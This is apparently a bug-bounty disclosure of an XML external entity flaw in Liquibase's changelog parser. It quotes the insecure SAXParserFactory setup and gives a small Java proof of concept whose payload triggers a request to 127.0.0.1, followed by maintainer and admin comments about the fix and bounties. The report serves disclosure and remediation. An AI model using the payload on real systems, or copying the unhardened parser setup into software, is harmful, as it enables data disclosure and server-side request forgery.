Improper Restriction of XML External Entity Reference in liquibase/liquibase

Valid

Reported on

Jan 16th 2022


Description

The XMLChangeLogSAXParser() function makes use of SAXParser generated from a SAXParserFactory with no FEATURE_SECURE_PROCESSING set, allowing for XXE attacks. In https://github.com/liquibase/liquibase/blob/6f3bb08572b2dcec2d8220b10d49ceb64c4d800a/liquibase-core/src/main/java/liquibase/parser/core/xml/XMLChangeLogSAXParser.java#L24-L27

public XMLChangeLogSAXParser() {
        saxParserFactory = SAXParserFactory.newInstance();
        saxParserFactory.setValidating(true);
        saxParserFactory.setNamespaceAware(true);
    }

Which is used in parseToNode()

            XMLReader xmlReader = parser.getXMLReader();
            xmlReader.setEntityResolver(resolver);
            xmlReader.setContentHandler(contentHandler);
            xmlReader.parse(new InputSource(new BomAwareInputStream(inputStream)));

Proof of Concept

Extracted out the key function mentioned above to showcase how it can be exploited.

import javax.xml.parsers.SAXParser;
import javax.xml.parsers.SAXParserFactory;
import org.xml.sax.HandlerBase;

import java.io.ByteArrayInputStream;

public class Poc {

    public static void main(String[] args) {        
        try {
            String xmlpoc = "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"http://127.0.0.1/\">]><foo>&xxe;</foo>";
            SAXParser saxParser = SAXParserFactory.newInstance().newSAXParser();
            saxParser.parse(new ByteArrayInputStream(xmlpoc.getBytes()), new HandlerBase());
        } catch (Exception e) {
            e.printStackTrace();
        }
    }
}

Causes an SSRF to http://127.0.0.1

Impact

This vulnerability is capable of XXE to disclose data/conduct SSRF attacks etc.

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2 years ago
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kataggart
2 years ago

Maintainer


@admin I was asked to mark this as Valid and Confirm Fix. We did release a fix in our last release, but we are not unfortunately in the position right now to pay a bug bounty. I wanted to verify with you all that is okay before I approve and confirm. Thanks for your help!

kataggart validated this vulnerability 2 years ago
ready-research has been awarded the disclosure bounty
The fix bounty is now up for grabs
kataggart marked this as fixed in 4.8.0 with commit 33d9d9 2 years ago
The fix bounty has been dropped
This vulnerability will not receive a CVE
Jamie Slome
2 years ago

Admin


@kataggart - we pay for the bounties! We (huntr.dev) sponsor OSS maintainers in fixing vulnerabilities. This support comes directly from our company but also enterprises that depend upon OSS.

So as a maintainer, you won't have to spend a penny to tap into our security community for support + we will even reward you for fixing vulnerabilities. Win-win! 🏆

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